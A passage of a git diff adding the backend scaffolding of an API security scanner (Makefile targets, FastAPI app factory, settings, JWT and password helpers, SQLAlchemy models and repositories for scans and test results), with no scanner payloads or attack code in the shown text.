⣿⣿⠵⠚⠉⢀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣗⢕⢕⢕⢕⢕⢕⣽⣿⣿⣿⣿" + @echo "\033[36m ⢷⣂⣠⣴⣾⡿⡿⡻⡻⣿⣿⣴⣿⣿⣿⣿⣿⣿⣷⣵⣵⣵⣷⣿⣿⣿⣿⣿⣿⡿" + @echo "\033[36m ⢌⠻⣿⡿⡫⡪⡪⡪⡪⣺⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃" + @echo "\033[32m ⠣⡁⠹⡪⡪⡪⡪⣪⣾⣿⣿⣿⣿⠋⠐⢉⢍⢄⢌⠻⣿⣿⣿⣿⣿⣿⣿⣿⠏⠈" + @echo "\033[32m ⡣⡘⢄⠙⣾⣾⣾⣿⣿⣿⣿⣿⣿⡀⢐⢕⢕⢕⢕⢕⡘⣿⣿⣿⣿⣿⣿⠏⠠⠈" + @echo "\033[32m ⠌⢊⢂⢣⠹⣿⣿⣿⣿⣿⣿⣿⣿⣧⢐⢕⢕⢕⢕⢕⢅⣿⣿⣿⣿⡿⢋⢜⠠⠈" + @echo "\033[95m ------------------------------" + @echo "\033[0m" + + + + + +venv: + @echo "Creating and initializing virtual environment in .venv..." + @python3 -m venv .venv + +# If you use bash, change @zsh +# can also run as just 'make' +dev: + @zsh -c "source .venv/bin/activate && exec zsh" + $(call ASCII) + +# ==================== Setup ==================== +install: + @echo "Installing development dependencies..." + pip install -e ".[dev]" + +reinstall: + @echo "Reinstalling all dependencies (including upgrades)..." + pip install -e ".[dev]" --upgrade --upgrade-strategy eager + $(call ASCII) + + +# ==================== Syntax Checking (Ruff) ==================== +check: + @echo "\033[1;3;4;96m======== Checking All Code ========\033[0m" + @ruff check . + $(call ASCII) + + +# ==================== Syntax Checking (Ruff) ==================== +fix: + @echo "\033[1;3;4;96m======== ruff fix All Code ========\033[0m" + @ruff check . --fix + $(call ASCII) + + +# ======================= In Depth Linting (pylint)======================= +pylint: + @echo "\033[1;3;4;96m======== Linting All Code ========\033[0m" + @pylint . + $(call ASCII) + +# ======================= Type Checking (mypy) ======================= +mypy: + @echo "\033[1;3;4;96m======== Type Checking All Code ========\033[0m" + @mypy . + $(call ASCII) + + +# ======================== Yapf Format ============================= +format: + @echo "\033[1;3;4;96m======== Formatting only qa/ ========\033[0m" + @yapf -i -r -vv models/ repositories/ schemas/ scanners/ core/ factory/ + $(call ASCII) + +# ==================== Utilities ==================== +clean: + @echo "\033[1;3;4;96m======== Cleaning Cache Files ========\033[0m" + find . -type f -name "*.pyc" -delete + find . -type d -name "__pycache__" -delete + find . -type d -name ".pytest_cache" -exec rm -rf {} + 2>/dev/null || true + find . -type d -name ".mypy_cache" -exec rm -rf {} + 2>/dev/null || true + find . -type d -name ".ruff_cache" -exec rm -rf {} + 2>/dev/null || true + find . -type f -name ".coverage" -delete + $(call ASCII) + +tree: + @echo "\033[1;3;4;96m======== Creating Tree ========\033[0m" + @tree -I 'node_modules|.git|*.log|dist|build|*.cache|certgames.egg-info|context|.venv|*.env|qa_context' + $(call ASCII) + +TODO: + @echo "\033[1;3;4;96m======== Looking for TODO's ========\033[0m" + @find . -name "*.py" -print0 | xargs -0 pylint --disable=all --enable=W0511 --msg-template='{path}:{line}:{column}: {msg_id}: {msg} ({symbol})' || true + $(call ASCII) + diff --git a/api-security-scanner/backend/__init__.py b/api-security-scanner/backend/__init__.py new file mode 100644 index 00000000..7f125b20 --- /dev/null +++ b/api-security-scanner/backend/__init__.py @@ -0,0 +1,4 @@ +""" +ⒸAngelaMos | 2025 +API Security Scanner Backend Package +""" diff --git a/api-security-scanner/backend/config.py b/api-security-scanner/backend/config.py new file mode 100644 index 00000000..b834ac09 --- /dev/null +++ b/api-security-scanner/backend/config.py @@ -0,0 +1,103 @@ +""" +ⒸAngelaMos | 2025 +All environment variables and constants are centralized here +""" + +from functools import lru_cache +from pydantic_settings import BaseSettings, SettingsConfigDict + + +class Settings(BaseSettings): + """ + Application settings loaded from environment variables. + + All magic numbers and configuration values are defined here to avoid + hardcoding throughout the application. + """ + + model_config = SettingsConfigDict( + env_file="../.env", env_file_encoding="utf-8", case_sensitive=True + ) + + # Application metadata + APP_NAME: str = "API Security Tester" + VERSION: str = "1.0.0" + DEBUG: bool = False + + # Database configuration + DATABASE_URL: str + POSTGRES_USER: str = "apiuser" + POSTGRES_PASSWORD: str = "apipass" + POSTGRES_DB: str = "apisecurity" + POSTGRES_HOST: str = "localhost" + POSTGRES_PORT: int = 5432 + + # Security - JWT + SECRET_KEY: str + ALGORITHM: str = "HS256" + ACCESS_TOKEN_EXPIRE_MINUTES: int = 1440 # 24 hours + + # Backend server + BACKEND_HOST: str = "0.0.0.0" + BACKEND_PORT: int = 8000 + + # CORS origins (comma-separated string) + CORS_ORIGINS: str = "http://localhost:5173,http://localhost:3000" + + # Scanner configuration - Default values + DEFAULT_MAX_REQUESTS: int = 100 + DEFAULT_TIMEOUT_SECONDS: int = 10 + DEFAULT_RETRY_COUNT: int = 3 + + # Scanner rate limiting (outgoing requests) + SCANNER_RATE_LIMIT_THRESHOLD: int = 100 + SCANNER_RATE_LIMIT_WINDOW_SECONDS: int = 60 + + # API endpoint rate limiting (incoming requests - slowapi format) + API_RATE_LIMIT_LOGIN: str = "5/minute" + API_RATE_LIMIT_REGISTER: str = "3/minute" + API_RATE_LIMIT_SCAN: str = "10/minute" + API_RATE_LIMIT_DEFAULT: str = "100/minute" + + # Pagination + DEFAULT_PAGINATION_LIMIT: int = 100 + MAX_PAGINATION_LIMIT: int = 1000 + + # Field validation constants + PASSWORD_MIN_LENGTH: int = 8 + PASSWORD_MAX_LENGTH: int = 100 + EMAIL_MAX_LENGTH: int = 255 + URL_MAX_LENGTH: int = 2048 + + # Scanner timeouts and limits + SCANNER_MAX_CONCURRENT_REQUESTS: int = 50 + SCANNER_CONNECTION_TIMEOUT: int = 30 + SCANNER_READ_TIMEOUT: int = 30 + + # Scanner request spacing and timing + DEFAULT_JITTER_MS: int = 100 + DEFAULT_RETRY_WAIT_SECONDS: int = 60 + DEFAULT_BASELINE_SAMPLES: int = 10 + + @property + def cors_origins_list(self) -> list[str]: + """ + Convert comma separated CORS origins string to list + """ + return [origin.strip() for origin in self.CORS_ORIGINS.split(",")] + + +@lru_cache +def get_settings() -> Settings: + """ + Get cached settings instance. + + The @lru_cache decorator ensures settings are loaded only once + and cached for the application lifetime. + + Returns: + Settings: Application settings instance + """ + return Settings() + +settings = get_settings() diff --git a/api-security-scanner/backend/core/__init__.py b/api-security-scanner/backend/core/__init__.py new file mode 100644 index 00000000..387aea62 --- /dev/null +++ b/api-security-scanner/backend/core/__init__.py @@ -0,0 +1 @@ +"""Core modules for application infrastructure""" diff --git a/api-security-scanner/backend/core/database.py b/api-security-scanner/backend/core/database.py new file mode 100644 index 00000000..201cb4b5 --- /dev/null +++ b/api-security-scanner/backend/core/database.py @@ -0,0 +1,39 @@ +""" +Database configuration and session management using SQLAlchemy. +""" + +from collections.abc import Generator + +from sqlalchemy import create_engine +from sqlalchemy.orm import Session, sessionmaker +from sqlalchemy.ext.declarative import declarative_base + +from ..config import settings + +# Database engine +engine = create_engine( + settings.DATABASE_URL, + pool_pre_ping = True, + echo = settings.DEBUG, +) + +# Session factory +SessionLocal = sessionmaker( + autocommit = False, + autoflush = False, + bind = engine +) + +# Base class +Base = declarative_base() + + +def get_db() -> Generator[Session, None, None]: + """ + FastAPI dependency for database sessions + """ + db = SessionLocal() + try: + yield db + finally: + db.close() diff --git a/api-security-scanner/backend/core/dependencies.py b/api-security-scanner/backend/core/dependencies.py new file mode 100644 index 00000000..7f354d44 --- /dev/null +++ b/api-security-scanner/backend/core/dependencies.py @@ -0,0 +1,46 @@ +""" +FastAPI dependency injection functions. +""" + +from fastapi import ( + Depends, + HTTPException, + status, +) +from fastapi.security import ( + HTTPAuthorizationCredentials, + HTTPBearer, +) +from .security import decode_token + + +# HTTP Bearer token authentication +security = HTTPBearer() + + +async def get_current_user( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> str: + """ + FastAPI dependency to extract and + verify the current authenticated user. + """ + try: + payload = decode_token(credentials.credentials) + email: str | None = payload.get("sub") + + if email is None: + raise HTTPException( + status_code = status.HTTP_401_UNAUTHORIZED, + detail = "Invalid authentication credentials", + headers = {"WWW-Authenticate": "Bearer"}, + ) + + return email + + except ValueError: + raise HTTPException( + status_code = status.HTTP_401_UNAUTHORIZED, + detail = "Invalid authentication credentials", + headers = {"WWW-Authenticate": "Bearer"}, + ) from None diff --git a/api-security-scanner/backend/core/enums.py b/api-security-scanner/backend/core/enums.py new file mode 100644 index 00000000..b308747b --- /dev/null +++ b/api-security-scanner/backend/core/enums.py @@ -0,0 +1,35 @@ +""" +Enum definitions for the application for type safety +""" + +from enum import Enum + + +class ScanStatus(str, Enum): + """ + Enum for scan result status + """ + VULNERABLE = "vulnerable" + SAFE = "safe" + ERROR = "error" + + +class Severity(str, Enum): + """ + Enum for vulnerability severity levels + """ + CRITICAL = "critical" + HIGH = "high" + MEDIUM = "medium" + LOW = "low" + INFO = "info" + + +class TestType(str, Enum): + """ + Enum for available security test types + """ + RATE_LIMIT = "rate_limit" + AUTH = "auth" + SQLI = "sqli" + IDOR = "idor" diff --git a/api-security-scanner/backend/core/security.py b/api-security-scanner/backend/core/security.py new file mode 100644 index 00000000..6052e22f --- /dev/null +++ b/api-security-scanner/backend/core/security.py @@ -0,0 +1,74 @@ +""" +Security utilities for password hashing and JWT token management. +""" + +from datetime import ( + datetime, + timedelta, +) +from jose import JWTError, jwt +from passlib.context import CryptContext + +from config import settings + + +# Password hashing +pwd_context = CryptContext(schemes = ["bcrypt"], deprecated = "auto") + + +def hash_password(password: str) -> str: + """ + Hash a plain text password using bcrypt + """ + return pwd_context.hash(password) + + +def verify_password( + plain_password: str, + hashed_password: str +) -> bool: + """ + Verify a plain text password against a hashed password + """ + return pwd_context.verify(plain_password, hashed_password) + + +def create_access_token( + data: dict[str, + str], + expires_delta: timedelta | None = None +) -> str: + """ + Create a JWT access token + """ + to_encode = data.copy() + + if expires_delta: + expire = datetime.utcnow() + expires_delta + else: + expire = datetime.utcnow() + timedelta( + minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES + ) + + to_encode.update({"exp": expire}) + encoded_jwt = jwt.encode( + to_encode, + settings.SECRET_KEY, + algorithm = settings.ALGORITHM + ) + return encoded_jwt + + +def decode_token(token: str) -> dict[str, str]: + """ + Decode and verify a JWT token + """ + try: + payload = jwt.decode( + token, + settings.SECRET_KEY, + algorithms = [settings.ALGORITHM] + ) + return payload + except JWTError as e: + raise ValueError(f"Invalid token: {str(e)}") from e diff --git a/api-security-scanner/backend/factory.py b/api-security-scanner/backend/factory.py new file mode 100644 index 00000000..25323df5 --- /dev/null +++ b/api-security-scanner/backend/factory.py @@ -0,0 +1,77 @@ +""" +ⒸAngelaMos | 2025 +FastAPI application factory for main.py +""" + +from fastapi import FastAPI +from fastapi.middleware.cors import CORSMiddleware + +from slowapi import ( + Limiter, + _rate_limit_exceeded_handler, +) +from slowapi.errors import RateLimitExceeded +from slowapi.util import get_remote_address + +from .config import settings +from .core.database import Base, engine +from .routes import auth_router, scans_router + + +def create_app() -> FastAPI: + """ + Application factory function + """ + Base.metadata.create_all(bind=engine) + + app = FastAPI( + title=settings.APP_NAME, + version=settings.VERSION, + docs_url="/api/docs", + redoc_url="/api/redoc", + debug=settings.DEBUG, + ) + + limiter = Limiter(key_func=get_remote_address) + app.state.limiter = limiter + app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler) + + app.add_middleware( + CORSMiddleware, + allow_origins=settings.cors_origins_list, + allow_credentials=True, + allow_methods=["*"], + allow_headers=["*"], + ) + + _register_routes(app) + + return app + + + +def _register_routes(app: FastAPI) -> None: + """ + Register all application routes + """ + @app.get("/") + def root() -> dict[str, str]: + """ + API root endpoint + """ + return { + "app": settings.APP_NAME, + "version": settings.VERSION, + "status": "healthy", + } + + @app.get("/health") + def health_check() -> dict[str, str]: + """ + Health check endpoint + """ + return {"status": "healthy"} + + app.include_router(auth_router) + app.include_router(scans_router) + diff --git a/api-security-scanner/backend/main.py b/api-security-scanner/backend/main.py new file mode 100644 index 00000000..70a778a5 --- /dev/null +++ b/api-security-scanner/backend/main.py @@ -0,0 +1,20 @@ +""" +ⒸAngelaMos | 2025 +FastAPI application entry point +""" + +import uvicorn + +from .config import settings +from .factory import create_app + + +app = create_app() + +if __name__ == "__main__": + uvicorn.run( + "main:app", + host=settings.BACKEND_HOST, + port=settings.BACKEND_PORT, + reload=settings.DEBUG, + ) diff --git a/api-security-scanner/backend/models/Base.py b/api-security-scanner/backend/models/Base.py new file mode 100644 index 00000000..89decfba --- /dev/null +++ b/api-security-scanner/backend/models/Base.py @@ -0,0 +1,78 @@ +""" +ⒸAngelaMos | 2025 +Base model class +Common fields and methods for all models +""" + +from typing import Any +from sqlalchemy import ( + Column, + DateTime, + Integer, +) +from datetime import datetime, UTC +from sqlalchemy.ext.declarative import declared_attr + +from ..core.database import Base + + +class BaseModel(Base): + """ + Abstract base model with common fields and methods + All models inherit from this class + """ + __abstract__ = True + + id = Column( + Integer, + primary_key = True, + index = True, + autoincrement = True + ) + created_at = Column( + DateTime(timezone = True), + default = lambda: datetime.now(UTC) + ) + updated_at = Column( + DateTime(timezone = True), + default = lambda: datetime.now(UTC), + onupdate = lambda: datetime.now(UTC), + ) + + @declared_attr + def __tablename__(cls) -> str: + """ + Auto-generate table name from class name + """ + return cls.__name__.lower() + + def to_dict(self) -> dict[str, Any]: + """ + Convert model instance to dictionary + + Returns: + dict: Dictionary representation of the model + """ + return { + column.name: getattr(self, + column.name) + for column in self.__table__.columns + } + + def update(self, **kwargs: Any) -> None: + """ + Update model fields from keyword arguments + + Args: + **kwargs: Field names and values to update + """ + for key, value in kwargs.items(): + if hasattr(self, key): + setattr(self, key, value) + self.updated_at = datetime.now(UTC) + + def __repr__(self) -> str: + """ + String representation of model + """ + return f"<{self.__class__.__name__}(id={self.id})>" diff --git a/api-security-scanner/backend/models/Scan.py b/api-security-scanner/backend/models/Scan.py new file mode 100644 index 00000000..50df3278 --- /dev/null +++ b/api-security-scanner/backend/models/Scan.py @@ -0,0 +1,83 @@ +""" +ⒸAngelaMos | 2025 +Scan model for storing security scan metadata +""" + +from datetime import ( + UTC, + datetime, +) +from sqlalchemy import ( + Column, + DateTime, + ForeignKey, + Integer, + String, +) +from sqlalchemy.orm import relationship + +from ..config import settings +from .Base import BaseModel + + +class Scan(BaseModel): + """ + Stores metadata about scans performed on target URLs + """ + __tablename__ = "scans" + + user_id = Column( + Integer, + ForeignKey("users.id", + ondelete = "CASCADE"), + nullable = False, + index = True, + ) + target_url = Column( + String(settings.URL_MAX_LENGTH), + nullable = False, + ) + scan_date = Column( + DateTime(timezone = True), + default = lambda: datetime.now(UTC), + nullable = False, + ) + + user = relationship("User", backref = "scans") + test_results = relationship( + "TestResult", + back_populates = "scan", + cascade = "all, delete-orphan", + ) + + def __repr__(self) -> str: + """ + String representation of Scan + """ + return f"" + + @property + def has_vulnerabilities(self) -> bool: + """ + Check if scan found any vulnerabilities + + Returns: + bool: True if any test result is vulnerable + """ + return any( + result.status == "vulnerable" + for result in self.test_results + ) + + @property + def vulnerability_count(self) -> int: + """ + Count of vulnerabilities found in this scan + + Returns: + int: Number of vulnerable test results + """ + return sum( + 1 for result in self.test_results + if result.status == "vulnerable" + ) diff --git a/api-security-scanner/backend/models/TestResult.py b/api-security-scanner/backend/models/TestResult.py new file mode 100644 index 00000000..7f721d32 --- /dev/null +++ b/api-security-scanner/backend/models/TestResult.py @@ -0,0 +1,89 @@ +""" +ⒸAngelaMos | 2025 +TestResult model for storing individual security test results +""" + +from sqlalchemy import ( + Column, + Enum, + ForeignKey, + Integer, + Text, +) +from sqlalchemy.orm import relationship +from sqlalchemy.dialects.postgresql import JSON + +from ..core.enums import ( + ScanStatus, + Severity, + TestType, +) +from .Base import BaseModel + + +class TestResult(BaseModel): + """ + Stores individual test results for each security scan + """ + __tablename__ = "test_results" + + scan_id = Column( + Integer, + ForeignKey("scans.id", + ondelete = "CASCADE"), + nullable = False, + index = True, + ) + test_name = Column( + Enum(TestType), + nullable = False, + index = True, + ) + status = Column( + Enum(ScanStatus), + nullable = False, + index = True, + ) + severity = Column( + Enum(Severity), + nullable = False, + index = True, + ) + details = Column(Text, nullable = False) + evidence_json = Column(JSON, nullable = False, default = dict) + recommendations_json = Column( + JSON, + nullable = False, + default = list + ) + + scan = relationship("Scan", back_populates = "test_results") + + def __repr__(self) -> str: + """ + String representation of TestResult + """ + return ( + f"" + ) + + @property + def is_vulnerable(self) -> bool: + """ + Check if this test result indicates a vulnerability + + Returns: + bool: True if status is vulnerable + """ + return self.status == ScanStatus.VULNERABLE + + @property + def is_high_severity(self) -> bool: + """ + Check if this is a high severity vulnerability + + Returns: + bool: True if severity is high + """ + return self.severity == Severity.HIGH diff --git a/api-security-scanner/backend/models/User.py b/api-security-scanner/backend/models/User.py new file mode 100644 index 00000000..efbf34d0 --- /dev/null +++ b/api-security-scanner/backend/models/User.py @@ -0,0 +1,45 @@ +""" +ⒸAngelaMos | 2025 +User model for authentication and user management +""" + +from sqlalchemy import ( + Boolean, + Column, + String, +) + +from ..config import settings +from .Base import BaseModel + + +class User(BaseModel): + """ + Stores authentication credentials and user information + """ + __tablename__ = "users" + + email = Column( + String(settings.EMAIL_MAX_LENGTH), + unique = True, + nullable = False, + index = True, + ) + hashed_password = Column(String, nullable = False) + is_active = Column(Boolean, default = True, nullable = False) + + def __repr__(self) -> str: + """ + String representation of User + """ + return f"" + + @property + def is_authenticated(self) -> bool: + """ + Check if user is active and authenticated + + Returns: + bool: True if user is active + """ + return self.is_active diff --git a/api-security-scanner/backend/models/__init__.py b/api-security-scanner/backend/models/__init__.py new file mode 100644 index 00000000..51db902c --- /dev/null +++ b/api-security-scanner/backend/models/__init__.py @@ -0,0 +1,18 @@ +""" +ⒸAngelaMos | 2025 +Database models package +""" + +from .Base import BaseModel + +from .User import User +from .Scan import Scan +from .TestResult import TestResult + + +__all__ = [ + "BaseModel", + "User", + "Scan", + "TestResult", +] diff --git a/api-security-scanner/backend/pyproject.toml b/api-security-scanner/backend/pyproject.toml new file mode 100644 index 00000000..7251848e --- /dev/null +++ b/api-security-scanner/backend/pyproject.toml @@ -0,0 +1,257 @@ +[project] +name = "api-security-scanner-backend" +version = "1.0.0" +description = "Backend API for security testing tool" +requires-python = ">=3.11" +authors = [ # Replace my Name & Email Here + {name = "CarerPerez-dev", email = "support@certgames.com"} +] +readme = "README.md" +license = {text = "MIT"} + +dependencies = [ + # FastAPI and server + "fastapi==0.121.1", + "uvicorn[standard]==0.38.0", + "python-multipart===0.0.20", + # Database + "sqlalchemy==2.0.44", + "psycopg2-binary==2.9.11", + "alembic==1.17.1", + # Security + "slowapi==0.1.9", + "passlib[bcrypt]==1.7.4", + "python-jose[cryptography]==3.5.0", + "bcrypt==4.3.0", + # HTTP client for scanners + "httpx==0.28.1", + "aiohttp==3.13.2", + # Settings management + "pydantic==2.12.4", + "pydantic-settings==2.11.0", + "python-dotenv==1.2.1", + # Utilities + "email-validator==2.3.0", +] + +[project.optional-dependencies] +dev = [ + "pylint==3.3.8", + "pre-commit==4.3.0", + "pip-audit==2.9.0", + "ruff==0.14.4", + "mypy==1.18.2", + "bandit[toml]==1.8.6", + "yapf==0.43.0", + "pylint-pydantic==0.3.5", + "pylint-per-file-ignores==1.4.0", + "pylint-plugin-utils==0.9.0", + "pylint-pydantic==0.3.5" +] + +[build-system] +requires = ["setuptools>=80.9.0", "wheel>=0.45.1"] +build-backend = "setuptools.build_meta" + + +[tool.setuptools] +py-modules = ["main", "config", "factory"] + +[tool.ruff] +target-version = "py311" +line-length = 95 +indent-width = 4 +exclude = [ + ".bzr", + ".direnv", + ".eggs", + ".git", + ".git-rewrite", + ".hg", + ".ipynb_checkpoints", + ".mypy_cache", + ".nox", + ".pyenv", + ".pytest_cache", + ".pytype", + ".ruff_cache", + ".svn", + ".tox", + ".venv", + "__pycache__", + "_build", + "build", + "dist", + "site-packages", + "venv", + "migrations", + "devtools", + "main.py", +] + +[tool.ruff.lint] +select = [ + "E1", # Indentation + "E4", # Imports + "E7", # Statement + "F", # Pyflakes (all F rules) + "W292", # No newline at end of file + "W605", # Invalid escape sequence + "B", # Bugbear + "C4", # Comprehensions + "UP", # Pyupgrade + "ARG", # Unused arguments + "SIM", # Simplify + "I", # isort rules + "F401", # Unused imports + "F811", # Redefined imports + "F821", # Undefined name +] + +ignore = [ + "E501", # Line length (handled by formatter) + "W291", # Trailing whitespace + "W293", # Blank line contains whitespace + "I001", # Import sorting + "RUF001", # Ambiguous unicode + "RUF002", # Docstring with ambiguous unicode +] + +[tool.ruff.lint.per-file-ignores] +"__init__.py" = ["ALL"] +"core/dependencies.py" = ["B008"] +"routes/auth.py" = ["ARG001", "B008"] +"routes/scans.py" = ["ARG001", "B008"] +"scanners/base_scanner.py" = ["B010"] + + +[tool.mypy] +python_version = "3.11" +mypy_path = "backend" +namespace_packages = true +explicit_package_bases = true +warn_return_any = false +warn_unused_configs = true +disallow_untyped_defs = false +disallow_incomplete_defs = true +ignore_missing_imports = true +check_untyped_defs = false +no_implicit_optional = true +warn_redundant_casts = true +warn_unused_ignores = true +warn_no_return = true +show_error_codes = true +show_column_numbers = true +pretty = true + +exclude = [ + ".venv", + "venv", +] + +[[tool.mypy.overrides]] +module = [ + "models.*", + "repositories.*", + "core.security", + "core.database", + "scanners.*", + "schemas.*", + "services.*", + "routes.*", + "factory", + "config", +] +disable_error_code = [ + "no-any-return", + "assignment", + "return-value", + "arg-type", + "var-annotated", + "index", + "attr-defined", + "operator", + "union-attr", + "call-arg", + "dict-item", +] + + +[tool.pylint.main] +py-version = "3.11" +jobs = 4 +load-plugins = [ + "pylint_pydantic", + "pylint_per_file_ignores" +] +persistent = true +suggestion-mode = true +ignore = [ + "venv", + ".venv", + "__pycache__", + "build", + "dist", + ".git", + ".pytest_cache", + ".mypy_cache", + ".ruff_cache", +] +ignore-paths = [ + "^venv/.*", + "^.venv/.*", + "^build/.*", + "^dist/.*", +] +[tool.pylint.type-check] +generated-members = [ + "objects", + "id", + "get_or_create", + "DoesNotExist", + "MultipleObjectsReturned", + "objects.get_or_create" +] + +[tool.pylint.messages_control] +disable = [ + "C0111", # missing-docstring + "C0103", # invalid-name + "R0903", # too-few-public-methods + "W0511", # fixme + "W0622", # redefined-builtin + "W0612", # unused-variable (handled by ruff) + "W0613", # unused-argument (handled by ruff) + "C0301", # Line too long + "C0302", # Too many lines + "C0411", # Wrong import order + "C0305", # Trailing newlines + "C0303", # Trailing whitespace + "C0304", # Final newline missing + "R0801", # Similar lines (want exact duplicates only) +] + +per-file-ignores = [ + "schemas/scan_schemas.py:C0415", + "scanners/rate_limit_scanner.py:W0718", + "scanners/auth_scanner.py:W0718", + "scanners/sqli_scanner.py:W0718", + "scanners/idor_scanner.py:W0718", + "services/scan_service.py:W0718", + "models/Base.py:E0213", +] + +[tool.pylint.design] +max-args = 10 +max-attributes = 12 +max-branches = 13 +max-locals = 20 +max-statements = 40 + + +[tool.bandit] +exclude_dirs = [ + ".venv", + "venv", +] +skips = ["B104"] diff --git a/api-security-scanner/backend/repositories/__init__.py b/api-security-scanner/backend/repositories/__init__.py new file mode 100644 index 00000000..1f4042d7 --- /dev/null +++ b/api-security-scanner/backend/repositories/__init__.py @@ -0,0 +1,12 @@ +"""Database repository layer for data access operations""" + +from .user_repository import UserRepository +from .scan_repository import ScanRepository +from .test_result_repository import TestResultRepository + + +__all__ = [ + "UserRepository", + "ScanRepository", + "TestResultRepository", +] diff --git a/api-security-scanner/backend/repositories/scan_repository.py b/api-security-scanner/backend/repositories/scan_repository.py new file mode 100644 index 00000000..f823f68b --- /dev/null +++ b/api-security-scanner/backend/repositories/scan_repository.py @@ -0,0 +1,159 @@ +""" +ⒸAngelaMos | 2025 +Handles all Scan model database queries +""" + +from __future__ import annotations + +from datetime import UTC, datetime +from sqlalchemy.orm import ( + Session, + joinedload, +) + +from ..config import settings +from ..models.Scan import Scan + + +class ScanRepository: + """ + Repository for Scan database operations + """ + @staticmethod + def create_scan( + db: Session, + user_id: int, + target_url: str, + commit: bool = True + ) -> Scan: + """ + Create a new scan + + Args: + db: Database session + user_id: User ID who initiated the scan + target_url: Target URL to scan + commit: Whether to commit the transaction + + Returns: + Scan: Created scan instance + """ + scan = Scan( + user_id = user_id, + target_url = target_url, + scan_date = datetime.now(UTC), + ) + db.add(scan) + if commit: + db.commit() + db.refresh(scan) + return scan + + @staticmethod + def get_by_id(db: Session, scan_id: int) -> Scan | None: + """ + Get scan by ID with test results loaded + + Args: + db: Database session + scan_id: Scan ID + + Returns: + Scan | None: Scan instance or None if not found + """ + return ( + db.query(Scan).options( + joinedload(Scan.test_results) + ).filter(Scan.id == scan_id).first() + ) + + @staticmethod + def get_by_user( + db: Session, + user_id: int, + skip: int = 0, + limit: int | None = None + ) -> list[Scan]: + """ + Get all scans for a user with pagination. + + Args: + db: Database session + user_id: User ID + skip: Number of records to skip + limit: Maximum number of records to return (DEFAULT_PAGINATION_LIMIT) + + Returns: + list[Scan]: List of scans with test results + """ + if limit is None: + limit = settings.DEFAULT_PAGINATION_LIMIT + + return ( + db.query(Scan).options( + joinedload(Scan.test_results) + ).filter(Scan.user_id == user_id).order_by( + Scan.scan_date.desc() + ).offset(skip).limit(limit).all() + ) + + @staticmethod + def get_recent(db: Session, + limit: int | None = None) -> list[Scan]: + """ + Get most recent scans across all users. + + Args: + db: Database session + limit: Maximum number of scans to return (DEFAULT_PAGINATION_LIMIT) + + Returns: + list[Scan]: List of recent scans + """ + if limit is None: + limit = settings.DEFAULT_PAGINATION_LIMIT + + return ( + db.query(Scan).options( + joinedload(Scan.test_results) + ).order_by(Scan.scan_date.desc()).limit(limit).all() + ) + + @staticmethod + def delete( + db: Session, + scan_id: int, + commit: bool = True + ) -> bool: + """ + Delete a scan (cascades to test results). + + Args: + db: Database session + scan_id: Scan ID to delete + commit: Whether to commit the transaction + + Returns: + bool: True if deleted, False if not found + """ + scan = ScanRepository.get_by_id(db, scan_id) + if scan: + db.delete(scan) + if commit: + db.commit() + return True + return False + + @staticmethod + def count_by_user(db: Session, user_id: int) -> int: + """ + Count total scans for a user. + + Args: + db: Database session + user_id: User ID + + Returns: + int: Total number of scans + """ + return db.query(Scan).filter(Scan.user_id == user_id).count() diff --git a/api-security-scanner/backend/repositories/test_result_repository.py b/api-security-scanner/backend/repositories/test_result_repository.py new file mode 100644 index 00000000..5cb4de19 --- /dev/null +++ b/api-security-scanner/backend/repositories/test_result_repository.py @@ -0,0 +1,177 @@ +""" +ⒸAngelaMos | 2025 +TestResult repository for database operations +""" + +from __future__ import annotations + +from typing import Any + +from sqlalchemy.orm import Session + +from ..core.enums import ( + ScanStatus, + Severity, + TestType, +) +from ..models.TestResult import TestResult + + +class TestResultRepository: + """ + Repository for TestResult database operations + """ + @staticmethod + def create_test_result( + db: Session, + scan_id: int, + *, + test_name: TestType, + status: ScanStatus, + severity: Severity, + details: str, + evidence_json: dict[str, + Any], + recommendations_json: list[str], + commit: bool = True, + ) -> TestResult: + """ + Create a new test result. + + Args: + db: Database session + scan_id: Scan ID this result belongs to + test_name: Type of security test + status: Test status (vulnerable, safe, error) + severity: Vulnerability severity + details: Detailed description + evidence_json: Evidence data as JSON + recommendations_json: List of recommendations + commit: Whether to commit the transaction + + Returns: + TestResult: Created test result instance + """ + test_result = TestResult( + scan_id = scan_id, + test_name = test_name, + status = status, + severity = severity, + details = details, + evidence_json = evidence_json, + recommendations_json = recommendations_json, + ) + db.add(test_result) + if commit: + db.commit() + db.refresh(test_result) + return test_result + + @staticmethod + def bulk_create( + db: Session, + test_results: list[TestResult], + commit: bool = True + ) -> list[TestResult]: + """ + Create multiple test results in bulk + + Args: + db: Database session + test_results: List of TestResult instances to create + commit: Whether to commit the transaction + + Returns: + list[TestResult]: Created test result instances + """ + db.add_all(test_results) + if commit: + db.commit() + for result in test_results: + db.refresh(result) + return test_results + + @staticmethod + def get_by_scan(db: Session, scan_id: int) -> list[TestResult]: + """ + Get all test results for a specific scan + + Args: + db: Database session + scan_id: Scan ID + + Returns: + list[TestResult]: List of test results for the scan + """ + return ( + db.query(TestResult).filter( + TestResult.scan_id == scan_id + ).order_by(TestResult.created_at.asc()).all() + ) + + @staticmethod + def get_by_status(db: Session, + scan_id: int, + status: ScanStatus) -> list[TestResult]: + """ + Get test results by status for a scan + + Args: + db: Database session + scan_id: Scan ID + status: Status to filter by + + Returns: + list[TestResult]: Filtered test results + """ + return ( + db.query(TestResult).filter( + TestResult.scan_id == scan_id, + TestResult.status == status + ).all() + ) + + @staticmethod + def get_vulnerabilities(db: Session, + scan_id: int) -> list[TestResult]: + """ + Get only vulnerable test results for a scan + + Args: + db: Database session + scan_id: Scan ID + + Returns: + list[TestResult]: Vulnerable test results only + """ + return TestResultRepository.get_by_status( + db, + scan_id, + ScanStatus.VULNERABLE + ) + + @staticmethod + def delete_by_scan( + db: Session, + scan_id: int, + commit: bool = True + ) -> int: + """ + Delete all test results for a scan + + Args: + db: Database session + scan_id: Scan ID + commit: Whether to commit the transaction + + Returns: + int: Number of test results deleted + """ + count = ( + db.query(TestResult).filter( + TestResult.scan_id == scan_id + ).delete() + ) + if commit: + db.commit() + return count diff --git a/api-security-scanner/backend/repositories/user_repository.py b/api-security-scanner/backend/repositories/user_repository.py new file mode 100644 index 00000000..72435bfe --- /dev/null +++ b/api-security-scanner/backend/repositories/user_repository.py @@ -0,0 